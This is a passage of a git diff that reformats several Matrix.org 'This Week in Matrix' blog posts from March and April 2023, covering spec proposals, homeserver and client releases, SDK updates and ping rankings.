more context on this topic. -> +> > In terms of our previous proposals on this subject; it turns out that implementing full-scale DAGs is a bit difficult, particularly when aiming to achieve interoperability on a short timeline. So we've been working on building an API surface for Matrix which makes rooms easier to access/implement in chat settings. We unfortunately don't have much to share today, but keep an eye on next week's TWIM for details 👀 -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3480: Make device names private](https://github.com/matrix-org/matrix-spec-proposals/pull/3480)! -> +> > This MSC proposes hiding device names from _any_ other user, while still allowing your own devices to see the names of the others. -> +> > You may question why device names being shown to other users was considered a good idea at all in Matrix. Initially these being public was really useful for verifying the devices of other users! Back in the days before [cross-signing](https://spec.matrix.org/v1.6/client-server-api/#cross-signing) (where you only need to verify another user once), you had to verify every one of your friend's devices from every one of your own devices. It was an n \* m problem, whereas if you had 4 devices, and your friend had 5, you'd need to do 20 verifications! And 4 more if your friend got a new phone! -> +> > So having device names back then were handy, but today any justification is moot and they're just a metadata leak. So we should get rid of them! -> +> > This MSC is blocked on a proven implementation. I actually [wrote one up](https://github.com/matrix-org/synapse/tree/anoa/msc3480) for Synapse a little while ago, and I plan to polish and merge it soon. Anyone else is free to do so in the meantime as well (just let me know first if you plan to do so in Synapse :). -> +> > Here's to improved privacy by default in Matrix! @@ -72,16 +72,16 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) announces -> The days just keep flying past and it's Friday again (how???). We here at -> Synapse have released v1.80.0rc2, filled with features and bugfixes. Some +> The days just keep flying past and it's Friday again (how???). We here at +> Synapse have released v1.80.0rc2, filled with features and bugfixes. Some > notable highlights are: -> +> > * Fix a bug introduced in Synapse 1.75.0rc1 where the [SQLite port_db script](https://matrix-org.github.io/synapse/latest/postgres.html#porting-from-sqlite) > would fail to open the SQLite database > * Fix a long-standing bug in which the user directory would assume any remote membership state events represent a profile change. > * Mirror images to the GitHub Container Registry (`ghcr.io/matrix-org/synapse`) > * Allow loading `/register/available` endpoint on workers -> +> > and much more! If you'd like to take a deep dive you can find the release notes [here](https://github.com/matrix-org/synapse/releases). ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -91,7 +91,7 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) says > This week Construct introduced Peristalith Mode in an effort to fill the void left by last week's unfortunate demise of Dendrite's Polylith mode. Peristalith allows multiple instances of Construct to scale together in a hub-and-spoke configuration. This is a single-writer/multiple-reader strategy which uses the filesystem to share data between instances. In the long run, we're still working on Construct Cluster which is a homogeneous multiple-reader/multiple-writer design using Matrix itself for communication. For now, this is an improvement over simply not having any solution in case your deployment really needs to shed some load quickly. I'd like to thank Yan Minari for coming up with some Traefik configs for this and we're going to be spending the weekend playing around with it. -> +> > Let us know your needs for scaling your homeserver in [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ## Dept of Clients 📱 @@ -101,7 +101,7 @@ A performance-oriented homeserver with minimal dependencies. [ulyssa](https://matrix.to/#/@ulyssa:0x.badd.cafe) says > [iamb](https://iamb.chat/), a terminal-based Matrix client that uses Vim keybindings, had a new release this week. Release v0.0.7 includes: -> +> > * Room state events are now lazily loaded in the initial sync to help w/ memory usage and timeout issues > * New configuration options for adjusting log level and HTTP request timeouts > * Several bug fixes and improvements for displaying messages in the scrollback @@ -115,13 +115,13 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > 0xDEADCADE fixed a few dialog windows, that would get a width of 0 on some window managers. Meanwhile tastytea made the scroll down button automatically refocus the message input. -> +> > The other work (apart from some cool work in progress stuff, was mostly minor improvements to communities. LcsTen made unjoinable and unpreviewable rooms in a community now hidden by default. This matches what the /hierarchy API does and as such what other clients show and since you have no way to fix it, why bother you with it? Admins of a community can still see those rooms and are suggested to remove them, since nobody will be able to join them. While the upsides generally outweigh them, there are a few downsides to this approach. Some users will never see some rooms in a community now and will have no way of telling you about the room not being joinable. Note that this only affects rooms added using a m.space.child event. The correct way to add a hidden room to a community, is by only setting a parent in that room. But many clients don't do that or rooms just naturally become unjoinable because of membership changes. -> +> > The last one is now properly handled in Nheko. Nheko will regularly update the join information for community rooms now. Each space child or parent event usually includes some routing information to figure out, what servers are in the room. If that server list is outdated, you will not be able to join the room, because none of the servers in the list know about the room anymore. Nheko now checks every 20 minutes if any of your space relation events haven't been updated in more than a week and if that is the case (and you have space edit permissions), it verifies that the routing information would still be the same if Nheko updated it. If it isn't, Nheko will write the new routing information into the state event. This is a bit of a compromise, since you might have more member changes in 7 days and the room can still become unroutable, but this is done to prevent to frequent updates if clients come to different results for the routing information. This should improve the long term experience of communities by a lot, since you won't have them randomly break anymore. -> -> I talked a lot about routing information now. The spec actually has a section for how to calculate that: https://spec.matrix.org/v1.6/appendices/#routing. Nheko now implements that algorithm slightly more correctly, but we still don't implement everything. This should make room links look more reasonable and prevents some of the problems talked about in the previous section. Some parts I haven't implemented yet though. Nheko does not ignore ip address only servers (for now). And we also decided to ignore the powerlevel >= 50 requirement and changed it to users that have a `powerlevel >= max(events_default, state_default)`. This is done, because the spec handwaves away concerns, that rooms might have non-default powerlevels, but I am in a lot of those and it would be annoying to me. -> +> +> I talked a lot about routing information now. The spec actually has a section for how to calculate that: . Nheko now implements that algorithm slightly more correctly, but we still don't implement everything. This should make room links look more reasonable and prevents some of the problems talked about in the previous section. Some parts I haven't implemented yet though. Nheko does not ignore ip address only servers (for now). And we also decided to ignore the powerlevel >= 50 requirement and changed it to users that have a `powerlevel >= max(events_default, state_default)`. This is done, because the spec handwaves away concerns, that rooms might have non-default powerlevels, but I am in a lot of those and it would be annoying to me. +> > I guess this was a bit of a more technical update this time, but maybe it had some interesting bits. I spent a lot of time the last weeks fixing stuff in Qt, profiling memory usage as well as code size and others are working on cool stuff as well, so stay tuned for next week. :3 ### FluffyChat ([website](https://fluffychat.im)) @@ -129,14 +129,15 @@ Desktop client for Matrix using Qt and C++17. [Krille](https://matrix.to/#/@krille:janian.de) reports > Small update from FluffyChat: -> +> > * I'm currently finalizing the long requested "Jump to last read message" feature (see screenshot) > * A workaround for Linux arm64 not building has been applied so we will soon publish arm64 on Flathub again (snap has to wait a little bit longer) > * FluffyChat v1.10.0 is now in all stores > * Next version of FluffyChat will display a read marker in the chat > * FluffyChat will now use a SliverList widget for the chat list page, which means that the search bar will disappear on scroll down and pop up on scroll up like in other Material3 apps > * Some work on cleaning up the huge CI scripts have been done to make contribution Merge Requests more easy -> +> +> > ![](/blog/img/QcogRVGYutRWExWTgPyzevgd.png) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -165,7 +166,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Bram](https://matrix.to/#/@bram:noordstar.me) reports > We're getting closer and closer to a version 1.0.0! Today, I hacked a [a quick and ugly demo](https://noordstar.github.io/elm-matrix-sdk/src/Demos/Cookies.html) to show off Elm's capabilities. The website lets you log in using an access token and the homeserver's base url, after which you can send and receive cookies 🍪 to your friends. :) -> +> > Since last week, the SDK now supports login functions at all spec versions, and banning users is now supported as well. If you're curious about the last few struggles to build a rigorous SDK in a functional language, join the discussion at [#elm-sdk:matrix.org](https://matrix.to/#/#elm-sdk:matrix.org) to keep track. :) ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -188,33 +189,34 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [HER0](https://matrix.to/#/@HER0:matrix.org) says -> Events can now have a game server and password associated with them, and these are displayed in various places. For example, you can see this on the web page for the upcoming Arma 3 event this weekend: https://friendlylinuxplayers.org/events/d0a29709573b0fe7 +> Events can now have a game server and password associated with them, and these are displayed in various places. For example, you can see this on the web page for the upcoming Arma 3 event this weekend: ## Dept of Interesting Projects 🛰️ [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports -> ### The next generation of Integration Managers is finally here! -> +> ### The next generation of Integration Managers is finally here +> > (with a familiar bridge backing it!) -> +> > I am once again happy to report on our latest integrations work at Element. > [A couple of weeks ago](https://youtu.be/HlsMMzTFZ_A) you heard from me and Justin on the new Integration manager > that we've been working away on and we're pleased to announce it's now LIVE > and has replaced our old IM, Scalar. -> +> > ![New integration manager screenshot](/blog/img/20230324-im.png) -> +> > Alongside the new IM, we've replaced the old Go-NEB powered bots with their > [matrix-hookshot](https://github.com/matrix-org/matrix-hookshot) equivalents. This means you can now [press buttons](https://ems-docs.element.io/books/element-cloud-documentation/page/migrate-to-the-new-github-and-feeds-bots#If-you-have-issues) to migrate yourselves off the old bots. As an aside, all the changes we've made to hookshot to scale up for the big release are of course landing in the open source project, should you wish to spin up your own bots instead. We're hoping that the ability to now embed our all-powerful config widgets directly into the integration manager will make it easier to add new features to these already-powerful bots. -> -> If you encounter any issues, please post an issue in https://github.com/vector-im/element-integration-manager/issues where we will be happy to assist! +> +> If you encounter any issues, please post an issue in where we will be happy to assist! ## Dept of Ping Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -231,6 +233,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|rom4nik.pl|1073| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/03/2023-03-31-this-week-in-matrix-2023-03-31.md b/content/blog/2023/03/2023-03-31-this-week-in-matrix-2023-03-31.md index bd2046277..ffe959475 100644 --- a/content/blog/2023/03/2023-03-31-this-week-in-matrix-2023-03-31.md +++ b/content/blog/2023/03/2023-03-31-this-week-in-matrix-2023-03-31.md @@ -21,62 +21,62 @@ image = "https://matrix.org/blog/img/matrix-logo.png" [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) announces > ## Messaging Layer Security approved by the IETF -> +> > The [IETF has approved Messaging Layer Security (MLS)](https://www.ietf.org/blog/mls-secure-and-usable-end-to-end-encryption/) for publication. MLS is an end-to-end encryption method designed for group messaging. We have been working on integrating a variant of MLS into Matrix. Keep an eye out for demos in the near future. ## Dept of Spec 📜 [Andrew Morgan (anoa) [GMT-8]](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3987: Push actions clean-up](https://github.com/matrix-org/matrix-spec-proposals/pull/3987) > * [MSC3985: Break-out rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/3985) > * [MSC3984: Sending key queries to appservices](https://github.com/matrix-org/matrix-spec-proposals/pull/3984) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3980: Dotted Field Consistency](https://github.com/matrix-org/matrix-spec-proposals/pull/3980) (merge) -> +> > **Accepted MSCs:** -> +> > * [MSC3923: Bringing Matrix into the IETF process](https://github.com/matrix-org/matrix-spec-proposals/pull/3923) > * [MSC2677: Annotations and reactions](https://github.com/matrix-org/matrix-spec-proposals/pull/2677) -> +> > **Closed MSCs:** -> -> * _No MSCs were closed/rejected this week._ -> +> +> * *No MSCs were closed/rejected this week.* +> > ## Spec Updates -> +> > Last week we mentioned that we'd have more to share this week about an easier API for accessing rooms in Matrix, and while it was our intention to have an MSC out by now, our priorities shifted slightly after the MIMI working group session at IETF 116. Some exciting news on that front though: our proposed easier API, called Linearized Matrix (apologies to all the mathematicians), is very much in line with what the working group is thinking about. So much so that we're going through the effort of writing up Matrix as a series of proper Internet-Draft specifications. -> +> > We don't currently have an up-to-date document which covers Linearized Matrix completely, but the short version is it allows a server to support individual rooms being linear arrays instead of DAGs. This doesn't prevent a DAG-capable server from joining the room and speaking full-blown DAG either, which is particularly important for compatibility with the existing Matrix network. Currently our efforts on Linearized Matrix are in implementation rather than documentation, though once things are slightly more stable we'll be getting an MSC out there for everyone to review more easily. Watch this space for news. -> +> > Following IETF 116, we have an immense amount of work ahead of us to define Matrix as the standard for interoperable chat, but we're well on our way on getting through it all. Namely, we're going around and mapping Matrix's functionality onto MIMI's concepts, defining Matrix as a proper IETF standard along the way. The expected outcome of this for the implementation authors of Matrix is a spec that is significantly easier to follow, finally. -> +> > For an idea of what's ahead, here's what the SCT will be looking at over the next several months: -> +> > * Linearized Matrix (implementation & MSC) > * Extensible Events (at least the core types) - this will serve as the basis for an interoperable messaging format in our IETF drafts > * Decentralized MLS & interoperability of crypto > * Clarification gaps and bugs in the current spec > * Pseudonymous user IDs and account portability > * Almost certainly something that was missed when writing this list -> +> > Considering the above list, the Matrix 2.0 objectives (sliding sync, OIDC, native VoIP conferencing, and faster room joins), and the core team's work around mentions, abuse reporting, and more, the SCT will be a bit busy. That said, if you have MSCs you think we should be looking at, let us know in the [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) room. We've recently started doing our weekly planning in that room too, which should help give an idea for what the SCT is expecting to look at each week. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [\[WIP\] MSC2966: Usage of OAuth 2.0 Dynamic Client Registration in Matrix](https://github.com/matrix-org/matrix-spec-proposals/pull/2966)! -> +> > This MSC provides a mechanism for implementing Dynamic Client Registration ([RFC 7591](https://tools.ietf.org/html/rfc7591)) for OAuth 2.0 between Matrix clients and homeservers. Without this, homeserver admins would need to manually configure OAuth metadata (Redirect URIs, application names, client secrets, [and more](https://www.iana.org/assignments/oauth-parameters/oauth-parameters.xhtml#client-metadata)) for every Matrix client that wanted to connect to the homeserver. Since that doesn't really scale in an environment that allows anyone to use any client they like, dynamic registration is critical! Dynamic registration allows clients to communicate this metadata to the homeserver at the login/registration step. -> -> [MSC2966](https://github.com/matrix-org/matrix-doc/issues/2966) is part of a series of MSCs that add first-class OpenID Connect (OIDC) support to Matrix. You can see an overview of the related MSCs ([here](https://github.com/matrix-org/matrix-spec-proposals/pull/3861)) and https://areweoidcyet.com/ for the latest progress on integrating OIDC into the Matrix spec! +> +> [MSC2966](https://github.com/matrix-org/matrix-doc/issues/2966) is part of a series of MSCs that add first-class OpenID Connect (OIDC) support to Matrix. You can see an overview of the related MSCs ([here](https://github.com/matrix-org/matrix-spec-proposals/pull/3861)) and for the latest progress on integrating OIDC into the Matrix spec! @@ -89,27 +89,27 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > It's yet another Friday which means it's TWIM day. This week the backend team released Synapse 1.80.0. Notable highlights include: -> +> > * Fixed a bug in which the [`POST /_matrix/client/v3/rooms/{roomId}/report/{eventId}`](https://spec.matrix.org/v1.6/client-server-api/#post_matrixclientv3roomsroomidreporteventid) endpoint would return the wrong error if the user did not have permission to view the event. This aligns Synapse's implementation with [MSC2249](https://github.com/matrix-org/matrix-spec-proposals/pull/2249) > * Fixed a bug introduced in Synapse 1.75.0rc1 where the [SQLite port_db script](https://matrix-org.github.io/synapse/latest/postgres.html#porting-from-sqlite)would fail to open the SQLite database > * Stabilized support for [MSC3966](https://github.com/matrix-org/matrix-spec-proposals/pull/3966): `event_property_contains` push condition > * Fixed a long-standing bug in which the user directory would assume any remote membership state events represent a profile change -> -> and much more! You can learn more here in the release notes: https://github.com/matrix-org/synapse/releases. +> +> and much more! You can learn more here in the release notes: . [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > It has been quiet for a while, but mostly because I was busy or I felt like there was nothing worth talking about. But this time I fixed a bug, that I am actually so proud of, that I need to share it! -> +> > I regularly ban users in my rooms temporarily, if they are behaving like an asshole and I want to show them, that such a behaviour is not accepted, even if they usually contribute useful stuff. This tactic has in general worked pretty well and led to a noticeable improvement in the conversation culture in those rooms. -> +> > HOWEVER one bug has plagued us for ages and made this method way more destructive, than it should be. Everytime you banned someone on a single user homeserver or even just if they were the only user in the room from that server, you couldn't unban them. That is because there is no member in the room anymore to send the unban event to, so the other server never received an unban. Now, you might think, why is that a problem, you can join the room initially as well. And that was my thought as well, but considering that this bug was transferred to Github in 2016 and several people looked at it, I thought it was just way more complicated to fix. But since I hit this a few times a year and sometimes even multiple times a month, I spent a lot of time looking at the issue on Github. And I did see a few times, that there was a Complement test for it and every server passed that test, but only Synapse got blocklisted. So it couldn't be a fundamental problem... -> +> > So I thought, okay, this is annoying me regularly now, I will just get my hands dirty this time and fix it. Even if it takes me weeks or months. So I set up Complement, allowed the test to run on Synapse and watched it fail. Sadly, the complement logs were so long, that I couldn't find the actual error, but a few tries (and hours of runtime) later I got useful output, searched for the error message in synapse and looked at the code. It looked more complicated than Dendrite, all of the membership transitions were in 1 function instead of different ones. But apart from that, the obvious thing that jumped out was that Synapse verified against the room state if the user was allowed to join before checking if it was in the room and then attempting a remote join. Now usually it makes sense to verify the state locally, but not if you are not in the room, so I just moved the in room check up a bit and moved the local verification behind that check, so that the local state is only used for verification, if we are in the room. And it worked! So apart from indentation changes, this was a 1 line change in Complement, a 1 line change in Sytest (to make it fail on the right error) and a 3 line change in synapse (+ 50 lines or so of indentation changes...). This bug has been bothering me for ages and that was all it took to fix! -> +> > Now, bugs often look easy in hindsight, so don't use this to judge the Synapse devs or anyone. I just had the right motivation and a bit of luck finding the problem quickly (and help from Synapse devs). Possibly that change broke something else deep down in Synapse and we get to deal with demons soon. But I am happy for now! -> -> Context links: https://github.com/matrix-org/synapse/pull/15323 https://github.com/matrix-org/synapse/issues/1563 (look, they both start with 15!) +> +> Context links: (look, they both start with 15!) ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -122,7 +122,7 @@ A performance-oriented homeserver with minimal dependencies. > servers, but it's the one I would say is the most stable at this time. On the heels of this, I decided to overhaul the docker image matrix. > Construct now offers several dozen combination docker images from Ubuntu 22.04, 22.10, Alpine 3.16, 3.17, gcc-10, 11, 12, > clang 14, 15, and on arm64 with neon, amd64 with avx, avx2, and avx512. -> +> > Check out [#test:zemos.net](https://matrix.to/#/#test:zemos.net) today! ## Dept of Clients 📱 @@ -134,11 +134,11 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > While I was mostly spelunking in CI land, some people did some really cool stuff! -> +> > Dtelsing implemented screenshare support on Wayland. This requires a proper pipewire + xdg-desktop-portal ScreenCast interface setup, but it means Nheko will properly ask your OS for a screenshare and your OS then gets to decide, what screen or window you are allowed to share. Especially considering how little documentation there is for this, I am pretty impressed how quickly they got this working and it seems to work quite nicely on the platforms I have tested, but feel free to test it yourself and report issues you find! -> +> > LorenDB tweaked the design of our switches, because they bothered him. Now, I have no eye for that, so I can't tell you what changed, but I assume people who can tell if something is pretty will be happy! Ryandesign also fixed the macOS build on case sensitive filesystems, a pseudonymous contributor added querying your own status message to the dbus interface and Nheko now linkifies improperly encoded matrix.to links again. -> +> > I think that is all, thank you all for the cool contributions! ### Ement.el ([website](https://github.com/alphapapa/ement.el)) @@ -148,27 +148,28 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) announces > [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for the [GNU Emacs](https://www.gnu.org/software/emacs/) text editor and Lisp environment, has been released at version 0.8. Changes since the last release include: -> +> > *Additions* -> + Command `ement-create-space` creates a new space. -> + Command `ement-room-toggle-space` toggles a room's membership in a space (a way to group rooms in Matrix). -> + Visibility of sections in the room list is saved across sessions. -> + Command `ement-room-list-kill-buffer` kills a room's buffer from the room list. -> + Set `device_id` and `initial_device_display_name` upon login (e.g. `Ement.el: username@hostname`). -> +> +> * Command `ement-create-space` creates a new space. +> * Command `ement-room-toggle-space` toggles a room's membership in a space (a way to group rooms in Matrix). +> * Visibility of sections in the room list is saved across sessions. +> * Command `ement-room-list-kill-buffer` kills a room's buffer from the room list. +> * Set `device_id` and `initial_device_display_name` upon login (e.g. `Ement.el: username@hostname`). +> > *Changes* -> -> + Room-related commands may be called interactively with a universal prefix to prompt for the room/session (allowing to send events or change settings in rooms other than the current one). -> + Command `ement-room-list` reuses an existing window showing the room list when possible. -> + Command `ement-tag-room` toggles tags (rather than adding by default and removing when called with a prefix). -> + Default room grouping now groups "spaced" rooms separately. -> +> +> * Room-related commands may be called interactively with a universal prefix to prompt for the room/session (allowing to send events or change settings in rooms other than the current one). +> * Command `ement-room-list` reuses an existing window showing the room list when possible. +> * Command `ement-tag-room` toggles tags (rather than adding by default and removing when called with a prefix). +> * Default room grouping now groups "spaced" rooms separately. +> > *Fixes* -> -> + Message format filter works properly when writing replies. -> + Improve insertion of sender name headers when using the "Elemental" message format. -> + Prompts in commands `ement-leave-room` and `ement-forget-room`. -> +> +> * Message format filter works properly when writing replies. +> * Improve insertion of sender name headers when using the "Elemental" message format. +> * Prompts in commands `ement-leave-room` and `ement-forget-room`. +> > Feel free to join us in the chat room: `#ement.el:matrix.org`. ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -177,10 +178,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports -> * This week we’ve been making some great progress on all notifications fronts: -> * Our stuck notifications MSC is in progress, other work on these bugs is also on-going -> * The new notifications settings pages are designed and being worked on -> * The Intentional Pings MSC is also making progress; hoping to remove those pesky pings and allow us to stop using l33t speak! +> * This week we’ve been making some great progress on all notifications fronts: +> * Our stuck notifications MSC is in progress, other work on these bugs is also on-going +> * The new notifications settings pages are designed and being worked on +> * The Intentional Pings MSC is also making progress; hoping to remove those pesky pings and allow us to stop using l33t speak! > * The cloud packaging improvements we’ve been making are nearly at an end - here’s to quicker, more reliable releases for our teams! 🎉 > * Other product improvements include updates to the permalinks behaviour - try sending a matrix.to link to a message and let us know what you think. > * Our Product and Design teams have been taking a closer look at community PRs and are putting processes in place to reduce the time PRs are blocked by either department. @@ -192,6 +193,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) reports > This week in Element X on iOS: +> > * We’ve been fixing some issues with the timeline including updates to edits and messages that failed to send. You’ll also see the timeline ordering is more reliable also. > * Started to look into OIDC and how we integrate the new systems there > * Room details are making forward progress also and we’ve recently added “Ignore user” right to the DM details screen. @@ -204,10 +206,11 @@ Secure and independent communication for Android, connected via Matrix. Come tal [benoit](https://matrix.to/#/@benoit.marty:matrix.org) says > On Element X for Android this week we: +> > * Introduced push notifications! > * We’re also looking at how we share translations across mobile platforms. > * And! The Room Details screens are continuing to grow; now you can see the room member list. -> +> > Release of Element Android get delayed because we want to fix an issue on the timeline first. ## Dept of VoIP 🤙 @@ -227,7 +230,7 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [Paarth Shah](https://matrix.to/#/@me:shahpaarth.com) announces > Hello all! I'm a new maintainer for this project, and I'm happy to say that we've released a new version, `0.20.2`, already available on Pypi! -> +> > This release was mainly for upgrading dependencies and fixing bugs, (see the full [changelog](https://github.com/poljar/matrix-nio/blob/main/CHANGELOG.md) for details!) but I'm hopeful that I'll be able to dedicate some time to advancing some new features, and being able to help get new contributions rolling in! ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -237,9 +240,9 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) reports > * Lots of additions to our bindings in the `matrix-sdk-ffi` crate -> - We've been working on adding bindings to the tracing library to matrix-sdk-ffi such that Kotlin or Swift code like ElementX that calls into the Rust SDK can benefit from the same structured logging infrastructure -> - We [switched](https://github.com/matrix-org/matrix-rust-sdk/pull/1711) matrix-sdk-ffi to use the new sqlite crypto store -> - We added [`Client::ignore_user`](https://github.com/matrix-org/matrix-rust-sdk/pull/1713), [`Client::get_profile`](https://github.com/matrix-org/matrix-rust-sdk/pull/1715) +> * We've been working on adding bindings to the tracing library to matrix-sdk-ffi such that Kotlin or Swift code like ElementX that calls into the Rust SDK can benefit from the same structured logging infrastructure +> * We [switched](https://github.com/matrix-org/matrix-rust-sdk/pull/1711) matrix-sdk-ffi to use the new sqlite crypto store +> * We added [`Client::ignore_user`](https://github.com/matrix-org/matrix-rust-sdk/pull/1713), [`Client::get_profile`](https://github.com/matrix-org/matrix-rust-sdk/pull/1715) > * We [fixed](https://github.com/matrix-org/matrix-rust-sdk/pull/1709) a problem where gappy syncs (which happen mostly when a process using the SDK is suspended and resumed a while later after many events arrived) would result in an invalid timeline item ordering > * We [updated](https://github.com/matrix-org/matrix-rust-sdk/pull/1717) the read marker code for the timeline to never insert the marker at the very end @@ -248,7 +251,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Oleg](https://matrix.to/#/@oleg:fiksel.info) announces > It became a habit to talk about the new Matrix stuff after FOSDEM in the German Podcast [Das Duumvirat](https://www.trommelspeicher.de/podcast). 🙂 -> +> > Feel free to check out [the Recording](https://www.trommelspeicher.de/podcast/techtalk-2023-1) (in 🇩🇪) ## Dept of Ping @@ -256,6 +259,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -272,6 +276,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|aguiarvieira.pt|4264.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/04/2023-04-10-this-week-in-matrix-2023-04-10.md b/content/blog/2023/04/2023-04-10-this-week-in-matrix-2023-04-10.md index 5ee833bdf..64f448ebc 100644 --- a/content/blog/2023/04/2023-04-10-this-week-in-matrix-2023-04-10.md +++ b/content/blog/2023/04/2023-04-10-this-week-in-matrix-2023-04-10.md @@ -16,32 +16,35 @@ category = ["This Week in Matrix"] [TravisR](https://matrix.to/#/@travis:t2l.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3994: Display why an event caused a notification](https://github.com/matrix-org/matrix-spec-proposals/pull/3994) > * [MSC3993: Room takeover](https://github.com/matrix-org/matrix-spec-proposals/pull/3993) > * [MSC3991: Power level up! Taking the room to new heights](https://github.com/matrix-org/matrix-spec-proposals/pull/3991) > * [MSC3989: Redact `origin` field on events](https://github.com/matrix-org/matrix-spec-proposals/pull/3989) > * [MSC3995: [WIP] Linearized Matrix](https://github.com/matrix-org/matrix-spec-proposals/pull/3995) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Merged MSCs:** +> > * [MSC3980: Dotted Field Consistency](https://github.com/matrix-org/matrix-spec-proposals/pull/3980) -> +> > ## Spec Updates -> +> > This last week the core team has been working on Linearized Matrix, which now exists in [MSC form](https://github.com/matrix-org/matrix-spec-proposals/pull/3995). The idea is still very much in flux, but the MSC covers a large part of the backing context for the overall approach. More detail about IETF116, Linearized Matrix, and the overall mission can be found in [last week's TWIM](https://matrix.org/blog/2023/03/31/this-week-in-matrix-2023-03-31#spec-updates), and we're happy to answer any questions in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) on Matrix. -> +> > Meanwhile, the Spec Core Team (SCT) has been focusing on Matrix 2.0 MSCs for OIDC, VoIP, etc alongside quite a few other smaller MSCs. You can follow along with the SCT's weekly priorities in the [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) room on Matrix. -> +> > ## Random MSC of the week -> +> > Today's random proposal is [MSC3860: Media Download Redirects](https://github.com/matrix-org/matrix-spec-proposals/pull/3860)! Quite a few medium-large servers use a CDN of some kind to host media shared in rooms, and currently the usefulness of that CDN is diminished by servers not necessarily being able to tell clients that the media is actually found on another URL. This proposal formalizes HTTP 307 redirects, and the SCT is interested to hear if this will break any clients - check it out, leave some comments, and let us know :) @@ -55,15 +58,17 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) announces > Construct features a Github webhook bot built into the server as a loadable module. This is something which existed from the very first days of the project and something I've worked on intermittently. For those that don't remember shortly after reactions were released in Riot, Construct was the first to make use of them as status indicators for continuous integration by reacting with 🟡 and 🟢. Sometime later we were one-upped by the creativity of the folks over at #nheko whose bot sends a very baroque set of reactions for individual Gitlab jobs. -> +> > Last week Construct added a rather large Docker image matrix both for release consumption and to replace the the Appveyor CI. I'm sad to see Appveyor go since only a couple weeks ago they were very helpful with a support ticket of mine, but our needs now have exceeded that and I prefer to do things myself. -> +> > This week I'd like to present Construct's live-action continuous-integration status bar. Each box is actually a clickable hyperlink to the Github actions page, so when something turns red you can find the error. -> +> > If you're interested in 